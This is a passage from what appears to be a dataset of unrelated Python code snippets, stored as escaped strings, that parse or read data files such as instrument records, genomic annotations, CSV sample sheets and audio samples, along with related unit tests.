DSPEC_DATA_MATCHER.match(line)\\n data = sensor_match.group(1)\\n values = [int(x) for x in data.split()]\\n\\n num_values = len(values)\\n\\n # If the number of values in a line of data doesn't match num_dir,\\n # Drop the record, throw a recoverable exception and continue parsing\\n if num_values != num_dir:\\n error_message = 'Unexpected Number of directions in line: expected %s, got %s'\\\\\\n % (num_dir, num_values)\\n log.warn(error_message)\\n self._exception_callback(RecoverableSampleException(error_message))\\n else:\\n # Add the row to the dspec matrix\\n dspec_matrix.append(values)\\n\\n else:\\n # Generate a warning for unknown data\\n error_message = 'Unexpected data found in line %s' % line\\n log.warn(error_message)\\n self._exception_callback(RecoverableSampleException(error_message))\\n\\n # read the next line in the file\\n line = self._stream_handle.readline()\\n\\n # Check to see if the specified number of frequencies were retrieved from the data\\n dspec_matrix_length = len(dspec_matrix)\\n if dspec_matrix_length != num_freq:\\n error_message = 'Unexpected Number of frequencies in DSpec Matrix: expected %s, got %s'\\\\\\n % (num_freq, dspec_matrix_length)\\n log.warn(error_message)\\n self._exception_callback(RecoverableSampleException(error_message))\\n\\n # Construct the parsed data list to hand over to the Data Particle class for particle creation\\n parsed_data = [\\n file_time, # ('file_time', 0, str),\\n num_dir, # ('num_dir', 1, int),\\n num_freq, # ('num_freq', 2, int),\\n freq_w_band, # ('freq_w_band', 3, float),\\n freq_0, # ('freq_0', 4, float),\\n start_dir, # ('start_dir', 5, float),\\n dspec_matrix # ('directional_surface_spectrum', 6, list)]\\n ]\\n\\n # Extract a particle and append it to the record buffer\\n particle = self._extract_sample(AdcptMDspecInstrumentDataParticle, None, parsed_data)\\n self._record_buffer.append(particle)\",\n \"def parse_file(file: CodeFile, config: dict):\\n path = os.path.join(file.dir, f'{file.name}.{file.extension}')\\n print(path)\\n file_gen = (line for line in open(path))\\n for line in file_gen:\\n parse.apply_patterns(line.strip(), config['patterns'], file)\",\n \"def load_file(self, dset_type):\\r\\n path = './data/{0}.{1}'.format(self.name, dset_type)\\r\\n try:\\r\\n file_contents = np.genfromtxt(path, missing_values=0, skip_header=0,\\r\\n dtype=int, delimiter=\\\",\\\")\\r\\n self.labels[dset_type] = file_contents[:, 0]\\r\\n self.examples[dset_type] = file_contents[:, 1:]\\r\\n\\r\\n except RuntimeError:\\r\\n print('ERROR: Unable to load file ''{0}''. Check path and try again.'.format(path))\",\n \"def test_parse_samplesheet(self):\\n run_dir = 'data/nanopore_data/run4/done_demuxing/20200104_1412_MN19414_AAU644_68125dc2'\\n run = MinIONqc(run_dir, None, None)\\n run.lims_samplesheet = 'data/nanopore_samplesheets/2020/DELIVERY_SQK-LSK109_AAU644_Samplesheet_24-594126.csv'\\n run._parse_samplesheet()\\n self.assertTrue(filecmp.cmp(run.nanoseq_sample_sheet, 'data/nanopore_samplesheets/expected/SQK-LSK109_sample_sheet.csv'))\\n self.assertTrue(filecmp.cmp(run.anglerfish_sample_sheet, 'data/nanopore_samplesheets/expected/anglerfish_sample_sheet.csv'))\",\n \"def _parse_header(self):\\n # read the first bytes from the file\\n header = self._stream_handle.read(HEADER_BYTES)\\n match = HEADER_MATCHER.match(header)\\n if not match:\\n raise SampleException(\\\"File header does not match the header regex\\\")\\n\\n # update the state to show we have read the header\\n self._increment_state(HEADER_BYTES)\",\n \"def parse_text(self, source):\\r\\n\\r\\n global word_set\\r\\n line_count = 0\\r\\n word_count = 0\\r\\n self.vowels = self.analyse_vowels(source)\\r\\n\\r\\n with open(source) as f:\\r\\n for line in f:\\r\\n # Detect end of paragraph\\r\\n if line_count and not line.strip() or line.startswith(\\\"\\\\t\\\"):\\r\\n self.paragraph_sizes.add(line_count)\\r\\n line_count = 0\\r\\n \\r\\n words = line.split()\\r\\n for word in words:\\r\\n if not word:\\r\\n continue\\r\\n self.word_sizes.add(len(word))\\r\\n construction = self.calculate_construction(word)\\r\\n self.word_constructions.add(construction)\\r\\n word_count += 1\\r\\n\\r\\n # Check if this is the end of a line.\\r\\n if word[-1] in self.ENDING_PUNCTUATION:\\r\\n line_count += 1\\r\\n self.sentence_sizes.add(word_count)\\r\\n word_count = 0\\r\\n\\r\\n \\r\\n if not self.paragraph_sizes.is_empty():\\r\\n # Liable to not parse in certain sources.\\r\\n self.paragraph_sizes = probabilities.PARAGRAPH_SIZES\",\n \"def read(self, featureType='exon'):\\n\\n logger.info('Reading %s' % self.fileName)\\n self.fileHandle = open(self.fileName, 'r+b')\\n bytePosition = self.fileHandle.tell()\\n for line in self.fileHandle:\\n row = line.decode('utf-8').rstrip().split(\\\"\\\\t\\\")\\n if not row[0].startswith(\\\"#\\\") and row[2] == featureType:\\n attributes = row[-1].split(\\\"; \\\")\\n for attribute in attributes:\\n if attribute.startswith(\\\"transcript_id\\\"):\\n transcript_id = attribute.split(\\\" \\\")[-1][1:-1]\\n self.features[transcript_id].append(bytePosition)\\n self.geneIds[transcript_id] = gene_id\\n if attribute.startswith(\\\"gene_id\\\"):\\n gene_id = attribute.split(\\\" \\\")[-1][1:-1]\\n bytePosition = self.fileHandle.tell()\\n self.fileHandle.close()\\n\\n self.fileHandle = open(self.fileName, 'r+b')\\n bytePosition = self.fileHandle.tell()\\n for line in self.fileHandle:\\n row = line.decode('utf-8').rstrip().split(\\\"\\\\t\\\")\\n if not row[0].startswith(\\\"#\\\") and row[2] == featureType:\\n attributes = row[-1].split(\\\"; \\\")\\n for attribute in attributes:\\n if attribute.startswith(\\\"gene_id\\\"):\\n gene_id = attribute.split(\\\" \\\")[-1][1:-1]\\n self.geneFeatures[gene_id].append(bytePosition)\\n bytePosition = self.fileHandle.tell()\\n self.fileHandle.close()\\n\\n logger.debug('Reading %s finished' % self.fileName)\",\n \"def test_02_source(self):\\n for activity in self.manager_stravagpx:\\n self.assertEqual(activity.metadata.source_format, 'gpx')\\n for activity in self.manager_garmintcx:\\n self.assertEqual(activity.metadata.source_format, 'tcx')\\n for activity in self.manager_fit:\\n self.assertEqual(activity.metadata.source_format, 'fit')\",\n \"def parse(cls, filepath, spectrum_type, labels, plformat):\\n raise NotImplementedError(\\\"Subclass must implement abstract method.\\\")\",\n \"def parse(source):\\r\\n #remove shared indentation\\r\\n source = dedent(source)\\r\\n print source\\r\\n\\r\\n structure = structure_parse(source)\\r\\n\\r\\n print structure.signature\\r\\n print structure.annotation\\r\\n print structure.body\\r\\n\\r\\n\\r\\n signature = signature_parse(structure.signature)\\r\\n\\r\\n kernel = kernel_parse(signature.kernel)\\r\\n inputs = input_parse(signature.input)\\r\\n\\r\\n print signature.kernel\\r\\n print signature.input\\r\\n print signature.output\\r\\n\\r\\n\\r\\n quit()\",\n \"def scan_source(filename, def_re = None, cb = (lambda l,m : None) ) :\\n import re\\n\\n if not def_re :\\n storage_class = br\\\"(static\\\\s+)?\\\"\\n type_and_name = br\\\"int\\\\s+(?P<n>test_[_a-zA-Z0-9]*)\\\";\\n args=br\\\"\\\\(.*\\\\)\\\";\\n def_re = re.compile(b\\\"\\\\s*\\\" + storage_class +\\n type_and_name + b\\\"\\\\s*\\\" +\\n args );\\n\\n tests = set()\\n with open(filename, \\\"rb\\\") as f:\\n for line in f:\\n m = def_re.match(line)\\n if not m : continue\\n cb(line, m)\\n tests.add( m.group('n').strip().decode('utf-8') )\\n return tests\",\n \"def selection(self):\\n self.file.seek(0)\\n start = self.file.readline().rstrip().upper()\\n if start[0] == \\\">\\\":\\n self.file_type = \\\"fasta\\\"\\n elif start[0:1] == \\\"ID\\\":\\n self.file_type = \\\"embl_gcg\\\"\\n elif start[0:5] == \\\"LOCUS\\\":\\n self.file_type = \\\"genbank\\\"\\n elif start[0] == \\\";\\\":\\n self.file_type = \\\"ig\\\"\\n elif not re.search('[^GATCN]', start):\\n self.file_type = \\\"plain\\\"\\n else:\\n self.file_type = None\\n return self.file_type\",\n \"def parse(cls, source):\\n lines = list(cls._strip_lines(source.splitlines()))\\n offset = 0\\n blocks = {}\\n while offset < len(lines):\\n # Scan until we find a block.\\n while offset < len(lines):\\n header_match = re.match(r\\\"---+ (.*) ---+\\\", lines[offset])\\n offset += 1\\n if header_match:\\n header = header_match.group(1)\\n break\\n config = {}\\n while offset < len(lines):\\n config_match = re.match(r\\\"^%\\\\s*([\\\\w_]+)\\\\s*:(.*)$\\\", lines[offset])\\n if not config_match:\\n break\\n config[config_match.group(1).strip()] = config_match.group(2).strip()\\n offset += 1\\n block_lines = []\\n while offset < len(lines) and (re.match(r\\\"---+ (.*) ---+\\\", lines[offset]) == None):\\n block_lines.append(lines[offset])\\n offset += 1\\n if not header in blocks:\\n blocks[header] = []\\n blocks[header].append(SpecTestBlock.parse(header, config, block_lines))\\n return ParsedSpecTest(blocks)\",\n \"def read_from_file(self, file_type):\\n\\n doc_idx, sentence_list_idx, tag_idx = [], [], []\\n\\n file_name = self.config.parser[file_type + '_dir']\\n with open(file_name, 'r') as f:\\n\\n new_batch_doc_idx, new_batch_sentence_list_idx,\\\\\\n new_batch_tag_idx = [], [], []\\n new_sentence_idx = [] # for a sentence\\n # temprate variable to store current batch data\\n\\n for idx, line in enumerate(f.readlines()):\\n if idx == 95:\\n xu = 1\\n contents = line.strip().split(' ')\\n # an empty line, means seperator for two batch\\n # doc id, means a new batch whose `docid` is doc id\\n # a word and its tag sepaerated by a blank\\n if len(contents) >= 2:\\n word, role = contents[0], contents[1]\\n new_batch_doc_idx.append(\\n self.word_dict.get_word_index(word)\\n )\\n new_batch_tag_idx.append(\\n self.tag_dict.get_word_index(role)\\n )\\n new_sentence_idx.append(\\n self.word_dict.get_word_index(word)\\n )\\n if word is '.':\\n # default: '.' is the seperator for two sentences.\\n new_batch_sentence_list_idx.append(new_sentence_idx)\\n new_sentence_idx = []\\n elif len(contents) == 1 and contents[0] != '':\\n\\n new_batch_doc_idx, new_batch_sentence_list_idx,\\\\\\n new_batch_tag_idx = [], [], []\\n new_sentence_idx = [] # for a sentence\\n # temprate variable to store current batch data\\n\\n elif len(contents) == 1 and contents[0] == ''\\\\\\n and len(new_batch_doc_idx) < self.config.parser['HP_max_len']:\\n\\n # Sometimes a sentence is not terminated by `.`\\n # It will cause bug without this judgement.\\n if len(new_sentence_idx) > 0:\\n new_batch_sentence_list_idx.append(new_sentence_idx)\\n new_sentence_idx = []\\n doc_idx.append(new_batch_doc_idx)\\n sentence_list_idx.append(new_batch_sentence_list_idx)\\n tag_idx.append(new_batch_tag_idx)\\n\\n return doc_idx, sentence_list_idx, tag_idx\",\n \"def source_info(self,fname):\\n\\t\\t# Has this source file already been parsed?\\n\\t\\tif fname in self.src_info:\\n\\t\\t\\t# if yes return the previous parse-result\\n\\t\\t\\treturn self.src_info[fname]\\n\\t\\t\\n\\t\\t# Create a source file parse-info-container and ast-parse the sourcefile\\n\\t\\tself.src_info[fname] = {}\\n\\t\\tsrc_fp = open(fname,'rb')\\n\\t\\tsrc = src_fp.read()\\n\\t\\tsrc_fp.close()\\n\\t\\tsrc_encoding = detect(src)\\n\\t\\ta = ast.parse(src)\\n\\t\\tdel src\\n\\t\\tself.src_encoding[fname] = src_encoding['encoding']\\n\\t\\t\\n\\t\\t# Analyse the ast\\n\\t\\tfor obj in a.body:\\n\\t\\t\\tif type(obj)==ast.ClassDef:\\n\\t\\t\\t\\tc = obj\\n\\t\\t\\t\\tfirstlineno = c.lineno\\n\\t\\t\\t\\tlastlineno = c.lineno\\n\\t\\t\\t\\tclass_doc_lines = []\\n\\t\\t\\t\\tfirst_class_obj = True\\n\\t\\t\\t\\tfor obj in c.body:\\n\\t\\t\\t\\t\\t# Detect documentation for class\\n\\t\\t\\t\\t\\tif first_class_obj and type(obj)==ast.Expr and type(obj.value)==ast.Str:\\n\\t\\t\\t\\t\\t\\tfor doc_line in obj.value.s.strip().replace('\\\\r\\\\n','\\\\n').split('\\\\n'):\\n\\t\\t\\t\\t\\t\\t\\tclass_doc_lines += [doc_line.strip()]\\n\\t\\t\\t\\t\\t# Detect class methods\\n\\t\\t\\t\\t\\tif type(obj)==ast.FunctionDef:\\n\\t\\t\\t\\t\\t\\tlastlineno = obj.lineno\\n\\t\\t\\t\\t\\tfirst_class_obj = False\\n\\t\\t\\t\\tself.src_info[fname][c.name] = (firstlineno,lastlineno,class_doc_lines)\\n\\t\\t\\n\\t\\t# return the parse-info-container\\n\\t\\treturn self.src_info[fname]\",\n \"def __parse(self):\\n lines = self.file.readlines()\\n for i in range(0, len(lines)):\\n line = lines[i]\\n tokens = line.split()\\n if tokens[0] == \\\"#start\\\":\\n trial_name = tokens[1]\\n trial = Trial(trial_name)\\n self.trials[trial_name] = trial\\n elif tokens[0] == \\\"#end\\\":\\n continue\\n else:\\n date_str = tokens[0] + \\\" \\\" + tokens[1]\\n date = datetime.strptime(date_str, \\\"%m/%d/%y %H:%M:%S\\\")\\n sound_file = line[18:-1].strip()\\n event = Event(date, sound_file, 0)\\n trial.addevent(event)\",\n \"def _read_source(self):\\n \\n if self.fileType == FTPythonCompiled or \\\\\\n self.fileType == FTCompiledModule:\\n return None\\n \\n filename = Filename(self.filename)\\n filename.setExtension('py')\\n try:\\n file = open(filename, 'rU')\\n except IOError:\\n return None\\n return file.read()\",\n \"def parse_file(args):\\n\\n data_types = []\\n headers = []\\n\\n with open(args.input, \\\"r\\\") as csvfile:\\n reader = csv.reader(csvfile)\\n have_columns = False\\n\\n for line in reader:\\n if have_columns:\\n index = 0\\n for col in line:\\n if col != \\\"\\\": \\n if data_types[index] != TYPE_STRING and data_types[index] != TYPE_FLOAT:\\n data_types[index] = get_data_type(col)\\n # else:\\n # data_types[index] = TYPE_STRING\\n index += 1\\n\\n else:\\n headers = line \\n for col in line:\\n data_types.append(\\\"\\\")\\n have_columns = True \\n\\n return headers, data_types\",\n \"def file_reader(fname, variant_type):\\n type_dict = {}\\n with open(fname, \\\"r\\\") as file:\\n for line in file:\\n variants = []\\n # len(type_dict) is there to ensure there are only 10 results\\n if not line.startswith(\\\"#\\\") and len(type_dict) < 10:\\n info = line.split(\\\"\\\\t\\\")\\n # info[7] contains the annotation string\\n info_split = info[7].split(\\\"|\\\")\\n # checks which variant it has and goes through the annotation where the missense is\\n if variant_type == \\\"missense_variant\\\":\\n indices = [i for i, x in enumerate(info_split) if x == \\\"missense_variant\\\"]\\n if variant_type == \\\"frame_shift_variant\\\":\\n indices = [i for i, x in enumerate(info_split) if x == \\\"frame_shift_variant\\\"]\\n # pares the info from the variant string\\n for index in indices:\\n # the variant is always 8 indexes further from the wordt missense/frame_shift_variant\\n variant = info_split[index + 8]\\n variants.append(variant)\\n gene_name = info_split[3]\\n type_dict[gene_name] = variants\\n return type_dict\",\n \"def read(ftype, inDir, inSuffix, startTime, endTime):\\n\\n\\tif ftype == 'ryan': return readRyan(inDir, inSuffix, startTime, endTime)\\t\\n\\telif ftype == 'segmotion': return readSegmotion(inDir, inSuffix, startTime, endTime)\\n\\telif ftype == 'probsevere': return readProbSevere(inDir, inSuffix, startTime, endTime)\",\n \"def read_data(filename, data_start_format, data_end_format,\\n exclude=['(',')'], type_id = \\\"object\\\", data_type=float):\\n data = []\\n with open(filename, 'r') as data_file:\\n grab_lines = False\\n for line in data_file:\\n if grab_lines and len([i for i in exclude if i in line])==0:\\n data.append(data_type(line))\\n if line.startswith(data_start_format):\\n grab_lines = True\\n elif grab_lines and (data_end_format in line):\\n grab_lines = False\\n elif type_id in line:\\n file_type = get_words(line)\\n return file_type, data\",\n \"def __parse(self):\\n # raw/objects: detect name, type, use major tag for type as parent node\\n # raw/graphics: as object raw, but add TILE_PAGE\\n # init: usually flat file, except\\n # embark_profiles.txt: [PROFILE] is parent\\n # interface.txt: [BIND] is parent (legacy will be flat)\\n # world_gen.txt: [WORLD_GEN] is parent\\n # Non-raw files (unsupported): init/arena.txt, subdirs of raw/objects\\n parse_raw(self, self.read(self.filename))\",\n \"def matchSource(self, line, thing):\\r\\n m = thing.pattern.match(line)\\r\\n if m and self.matchClasses(thing.classes):\\r\\n return (thing, m.groups(), m.groupdict())\",\n \"def load_sample(self):\\n\\n self.load_images(self.folder + \\\"/sampleSet.txt\\\")\\n self.load_traces(self.folder + \\\"/sampleLabel.txt\\\")\",\n \"def read(self, featureType='miRNA_primary_transcript'):\\n logger.info('Reading %s' % self.fileName)\\n self.fileHandle = open(self.fileName, 'r+b')\\n bytePosition = self.fileHandle.tell()\\n for line in self.fileHandle:\\n row = line.decode('utf-8').rstrip().split(\\\"\\\\t\\\")\\n if not row[0].startswith(\\\"#\\\") and row[2] == featureType:\\n attributes = row[-1].split(\\\";\\\")\\n for attribute in attributes:\\n if attribute.startswith('Name'):\\n mirbase_name = attribute.split(\\\"=\\\")[-1]\\n self.features[mirbase_name] = bytePosition\\n bytePosition = self.fileHandle.tell()\\n self.fileHandle.close()\\n logger.debug('Reading %s finished' % self.fileName)\",\n \"def get_sample_template(self) -> Sample:\\n new = Sample.parse_file(self.example_sample)\\n new.reset_id()\\n return new\",\n \"def _generate_sample(self, sample):\\n # handle paths or pd.Series as input for `sample`\\n if type(sample) == str or issubclass(type(sample), Path):\\n sample = AudioSample(sample) # initialize with source = file path\\n else:\\n assert isinstance(sample, AudioSample), (\\n \\\"sample must be AudioSample OR file path (str or pathlib.Path), \\\"\\n f\\\"was {type(sample)}\\\"\\n )\\n\\n # add attributes to the sample that might be needed by actions in the pipeline\\n sample.preprocessor = self\\n sample.target_duration = self.sample_duration\\n\\n return sample\",\n \"def __init__(self,\\n fileName,\\n realFileName=None,\\n prequelFileName=None,\\n preErrorMessages=(), # Type to be checked\\n doNotReadFiles=False,\\n allowedFeatures=()):\\n #type: (Text, Optional[Text], Optional[Text], List[Any], bool, List[Text]) -> None\\n\\n assert fileName is not None\\n\\n self.fileName=fileName #type: Text\\n \\\"\\\"\\\" The filename as given when creating the source file\\\"\\\"\\\"\\n\\n self.prequelFileName=(\\n fileName if prequelFileName is None\\n else prequelFileName\\n )\\n \\\"\\\"\\\" \\n The named of the unprocessed file or the filename.\\n This is useful when a preprocessor is used. \\n \\\"\\\"\\\"\\n\\n self.realFileName=(\\n None if doNotReadFiles # filled later\\n else (\\n fileName if realFileName is None\\n else realFileName))\\n \\\"\\\"\\\" \\n The name of the actual file name that is parsed.\\n This is almost never used so don't use it unless\\n you know what you are doing. \\n \\\"\\\"\\\"\\n\\n # This should be after the definition of\\n # filenames\\n super(SourceFile, self).__init__(parents=[])\\n\\n\\n if len(preErrorMessages) >= 1:\\n for msg in preErrorMessages:\\n Issue(\\n origin=self,\\n level=Levels.Error,\\n message=msg\\n )\\n return\\n\\n self.sourceLines=[] #type: List[Text]\\n \\\"\\\"\\\"\\n The source lines of the 'logical' file.\\n It will be the same as realSourceLines \\n if not isBasedInHiddenFile. \\n Filled by doReadFile but if doReadFile raise \\n an exception, the sourceLines will still be of the\\n appropriate type (no lines)\\n The caller must call doReadFile explictely\\n if doNotReadFiles.\\n \\\"\\\"\\\"\\n\\n self.realSourceLines=[] #type: List[Text]\\n \\\"\\\"\\\"\\n The source lines of the 'real' file.\\n It will be the same as sourceLines \\n if not isBasedInHiddenFile. \\n Filled by doReadFile but if doReadFile raise \\n an exception, the sourceLines will still be of the\\n appropriate type (no lines)\\n The caller must call doReadFile explictely\\n if doNotReadFiles.\\n \\\"\\\"\\\"\\n\\n self.allowedFeatures=allowedFeatures #type: List[Text]\\n \\\"\\\"\\\"\\n A list of feature names that could be issued\\n in the parser.\\n \\\"\\\"\\\"\\n\\n\\n\\n\\n if not doNotReadFiles:\\n self.doReadFiles(\\n logicalFileName=self.fileName,\\n realFileName=self.realFileName)\",\n \"def test_parsing_action(self):\\n self.grammar.parse(open(TEST_ASSETS + '/test_item.txt').read())\",\n \"def read_sample(myfilestr=\\\"MAY06001.SA3_CM_D545\\\"):\\n detdata,metadata=data.readNCNRData(myfilestr) #note that it should be None for the default\\n return SansData(detdata, metadata)\",\n \"def sample_type(self, sample_type):\\n sql = \\\"\\\"\\\"UPDATE barcodes.sample\\n SET sample_type = %s\\n WHERE sample_id = %s\\\"\\\"\\\"\\n with pm.sql.TRN:\\n pm.sql.TRN.add(sql, [sample_type, self.id])\",\n \"def parse(unused, source_file_path, particle_data_handler):\\n\\n # Get the flort file name from the ctd file name\\n head, tail = os.path.split(source_file_path)\\n e_tail = tail.replace('C', 'E')\\n\\n if e_tail == tail:\\n log.error('Could not generate e file name')\\n return particle_data_handler\\n\\n flort_source_file_path = os.path.join(head, e_tail)\\n\\n # Parse the flort file to get a list of (time, pressure) tuples.\\n try:\\n with open(flort_source_file_path, 'rb') as flort_stream_handle:\\n driver = FlortKnStcImodemDriver(unused, flort_stream_handle, ParticleDataHandler())\\n e_file_time_pressure_tuples = driver.get_time_pressure_tuples()\\n except Exception as e:\\n log.error(e)\\n return particle_data_handler\\n\\n if not e_file_time_pressure_tuples:\\n log.error('Time-Pressure tuples not extracted from %s', flort_source_file_path)\\n return particle_data_handler\\n\\n # Parse the ctd file and use the e_file_time_pressure_tuples to generate\\n # the internal timestamps of the particles\\n with open(source_file_path, 'rb') as stream_handle:\\n driver = DofstKWfpRecoveredDriver(\\n unused, stream_handle, particle_data_handler, e_file_time_pressure_tuples)\\n driver.processFileStream()\\n\\n return particle_data_handler\",\n \"def test_missing_source_file(self):\\n stream_handle = open(os.path.join(RESOURCE_PATH,\\n 'no_source_file_SNA_SNA.txt'), MODE_ASCII_READ)\\n\\n self.create_parser(stream_handle)\\n\\n # get A-E, without metadata\\n particles = self.parser.get_records(5)\\n\\n # check all the values against expected results.\\n self.assert_particles(particles, 'no_source_file_SNA_SNA_telem.yml', RESOURCE_PATH)\\n\\n # confirm an exception occurred\\n self.assertEqual(len(self.exception_callback_value), 1)\\n self.assert_(isinstance(self.exception_callback_value[0], RecoverableSampleException))\\n\\n stream_handle.close()\",\n \"def test_parse_source_xml(self):\\n\\n # Path to the source xml\\n file = self.xmlfilepath + os.sep + \\\"sourcefile.xml\\\"\\n\\n # Path to non existent source file\\n in_file = self.xmlfilepath + os.sep + \\\"sourcefile.pwg\\\"\\n\\n # Test for correct data\\n # NOTE : For this test case to pass the source xml file should be\\n # present in the download path\\n self.assertEqual(\\n parse_source_xml(file),\\n (\\n \\\"DLTINS_20210117_01of01.zip\\\",\\n \\\"http://firds.esma.europa.eu/firds/DLTINS_20210117_01of01.zip\\\",\\n ),\\n )\\n\\n # Test for incorrect data\\n self.assertEqual(parse_source_xml(in_file), None)\",\n \"def read(self, source):\\n raise NotImplementedError( 'Needs implementation' )\",\n \"def __parse_file(self):\\n\\n if PY2:\\n text = lambda v: v.decode('utf-8')\\n else:\\n text = lambda v: v\\n with open(self._file, 'r') as csvfile:\\n reader = csv.reader(csvfile, delimiter=';')\\n for row in reader:\\n try:\\n siruta = int(row[0])\\n except ValueError:\\n self.__notify_error(\\\"Line %s has an invalid SIRUTA code\\\" % str(row))\\n continue\\n if not self.siruta_is_valid(siruta):\\n self.__notify_error(\\\"SIRUTA code %d is not valid\\\" % siruta)\\n if len(row) != 15:\\n self.__notify_error(\\\"Line %s does not have 15 elements\\\" % str(row))\\n continue\\n if row[7] == \\\"1\\\":\\n urban = True\\n else:\\n urban = False\\n self._data[siruta] = {\\n 'siruta': siruta,\\n 'name': text(row[1]).translate(self._dia_trans),\\n 'postcode': int(row[2]),\\n 'county': int(row[3]),\\n 'sirutasup': int(row[4]),\\n 'type': int(row[5]),\\n 'level': text(row[6]),\\n 'urban': urban,\\n 'region': int(row[8]),\\n }\",\n \"def parse_raw(data):\\n for sample in data:\\n assert \\\"src\\\" in sample\\n json_line = sample[\\\"src\\\"]\\n obj = json.loads(json_line)\\n assert \\\"key\\\" in obj\\n assert \\\"wav\\\" in obj\\n assert \\\"txt\\\" in obj\\n key = AishellKeyMapper.encode(obj[\\\"key\\\"])\\n wav_file = obj[\\\"wav\\\"]\\n txt = obj[\\\"txt\\\"]\\n try:\\n if \\\"start\\\" in obj:\\n assert \\\"end\\\" in obj\\n sample_rate = torchaudio.backend.sox_io_backend.info(wav_file).sample_rate\\n start_frame = int(obj[\\\"start\\\"] * sample_rate)\\n end_frame = int(obj[\\\"end\\\"] * sample_rate)\\n waveform, _ = torchaudio.backend.sox_io_backend.load(\\n filepath=wav_file, num_frames=end_frame - start_frame, frame_offset=start_frame\\n )\\n else:\\n waveform, sample_rate = torchaudio.load(wav_file)\\n example = dict(key=key, txt=txt, wav=waveform, sample_rate=sample_rate)\\n yield example\\n except Exception as ex:\\n logging.warning(\\\"Failed to read {}\\\".format(wav_file))\",\n \"def interpret_file(self, file, source=None, process_percents=True):\\n\\n for pline in self.parser.parse_file(file,\\n source=source,\\n process_percents=process_percents):\\n action = self.execute(pline)\\n if action is None:\\n pass\\n elif action == 'emergency stop':\\n return 'Emergency Stop'\\n elif action == 'pause program':\\n return 'Pause'\\n elif action == 'optional pause program':\\n return 'Optional Pause'\\n elif action == 'end program':\\n return 'End'\\n else:\\n raise core.GCodeException('unknown action: %r' % (action,))\",\n \"def test_sample_one_sample_type(self):\\r\\n self.assertEqual(self.test_sample.sampleType, 'TUMOUR')\",\n \"def _parse(\\n self, source: str, name: t.Optional[str], filename: t.Optional[str]\\n ) -> nodes.Template:\\n return Parser(self, source, name, filename).parse()\",\n \"def load_data(self, **kwargs):\\n type = kwargs['type']\\n file = kwargs['file']\\n with open(file, 'r') as data_file:\\n for line in data_file:\\n line = line[:-1]\\n items_dict = ast.literal_eval(line)\\n\\n item = type.from_dict(items_dict)\\n\\n self.add_item(item, lambda i: i.uid)\",\n \"def test_parse_sample_sheet(self):\\n pass\",\n \"def process_based_on_type(file_path):\\n\\t# Is this a file?\\n\\tif os.path.isfile(file_path):\\n\\t\\tprocess_file(file_path)\\n\\t# Or is it a directory?\\n\\telif os.path.isdir(file_path):\\n\\t\\tprocess_directory(file_path)\",\n \"def read_sample(sample_path):\\n files = os.listdir(sample_path)\\n json_path = [f for f in files if f.endswith('_read-info.json')]\\n assert len(json_path) == 1, 'There should be exactly 1 *_read-info.json file in the sample (.smpl)'\\n # get base for sample\\n with open(os.path.join(sample_path, json_path[0]), 'r') as f:\\n sample = json.load(f)\\n # get sample info\\n info_path = [f for f in files if f.endswith('info.csv')]\\n assert len(info_path) == 1, 'There should be exactly 1 *_info.csv file in the sample (.smpl)'\\n sample['info'] = pd.read_csv(os.path.join(sample_path, info_path[0]))\\n info_path = os.path.join(sample_path, info_path[0])\\n # get individual sample\\n regex = re.compile(r'id-\\\\d*_t-\\\\d*')\\n pairs = [f for f in files if len(regex.findall(f)) > 0]\\n for str_pair in pairs:\\n pair_dir = os.path.join(sample_path, str_pair)\\n pair_dict = {}\\n # get df\\n df_path = os.path.join(pair_dir, str_pair + '_df.csv')\\n pair_dict['df'] = pd.read_csv(df_path)\\n pair_dict['df_path'] = df_path\\n pair_dict['info_path'] = info_path\\n # get tracks\\n tracks_path = os.path.join(pair_dir, str_pair + '_tracks.zarr')\\n pair_dict['tracks'] = zarr.open(tracks_path)\\n # get b_box\\n bbox_path = os.path.join(pair_dir, str_pair + '_bbox.json')\\n with open(bbox_path, 'r') as f:\\n bbox = json.load(f)\\n new_bbox = {}\\n for key in bbox.keys():\\n args = list(bbox[key])\\n new_bbox[key] = slice(*args)\\n pair_dict['b_box'] = new_bbox\\n # find out if corrs exist and read if so\\n corr_path = [f for f in os.listdir(pair_dir) if f.endswith('_corr.json')]\\n if len(corr_path) > 0:\\n with open(os.path.join(pair_dir, corr_path[0]), 'r') as f:\\n corr = json.load(f)\\n pair_dict['corr'] = corr\\n # if image exists, read\\n img_path = os.path.join(pair_dir, str_pair + '_image.zarr')\\n if os.path.exists(img_path):\\n img = zarr.open(img_path)\\n #print(img, img_path)\\n pair_dict['image'] = img\\n # if labels exist, read\\n lab_path = os.path.join(pair_dir, str_pair + '_labels.zarr')\\n if os.path.exists(lab_path):\\n lab = zarr.open(lab_path)\\n #print(lab.shape)\\n pair_dict['labels'] = lab\\n # add pair to sample\\n id_re = re.compile(r'id-\\\\d*')\\n ID = id_re.findall(str_pair)[0][3:]\\n t_re = re.compile(r't-\\\\d*')\\n t = t_re.findall(str_pair)[0][2:]\\n pair = (int(ID), int(t))\\n sample[pair] = pair_dict\\n #print(str_pair, pair)\\n #print(list(sample.keys()))\\n #print(list(sample[eval(pairs[0])].keys()))\\n return sample\",\n \"def define_source(self,srcx,srcz,src_type=1,freq=50,amp=1e+16,Mxx=1,Myy=1,Mzz=1,Mxy=0,Mxz=0,Myz=0):\\n self.source['srcx']=srcx\\n self.source['srcz']=srcz\\n self.source['freq']=freq\\n self.source['amp']=amp\\n self.source['src_type']=src_type\\n \\n if src_type==4:\\n self.source['mt']=[Mxx,Myy,Mzz,Mxy,Mxz,Myz]\",\n \"def load_gen_data(gen_file, sample_file):\\n\\n gen_data=open(gen_file, \\\"r\\\")\\n sample_data=open(sample_file, \\\"r\\\")\\n\\n sample_names=[]\\n\\n # First two lines are headers\\n sample_data.next()\\n sample_data.next()\\n\\n for line in sample_data:\\n sample_names.append(line.split(\\\" \\\")[0])\\n \\n snp_names=[]\\n snp_pos=[]\\n genotype_data=[]\\n\\n for line in gen_data:\\n data=line[:-1] # Remove \\\\n from the end of the line\\n data=data.rstrip().split(\\\" \\\")\\n snp_names.append(data[1])\\n snp_pos.append(int(data[2]))\\n gt = data[5:]\\n if not len(gt)==3*len(sample_names): \\n print gt\\n raise Exception(\\\"Bad data line: %d samples and %d entries\\\" % (len(sample_names), len(gt)) )\\n gt = [x.index(max(x)) for x in zip(gt[1::3],gt[2::3], gt[3::3])]\\n genotype_data.append(gt)\\n\\n return {\\\"sample_names\\\":sample_names, \\\"snp_names\\\":snp_names, \\\"snp_pos\\\":snp_pos, \\\"genotype_data\\\":genotype_data}\",\n \"def load_sample(test_file):\\n sample = Sample()\\n sample.fname = test_file\\n with open(test_file) as f:\\n test_str = f.read()\\n test_str = 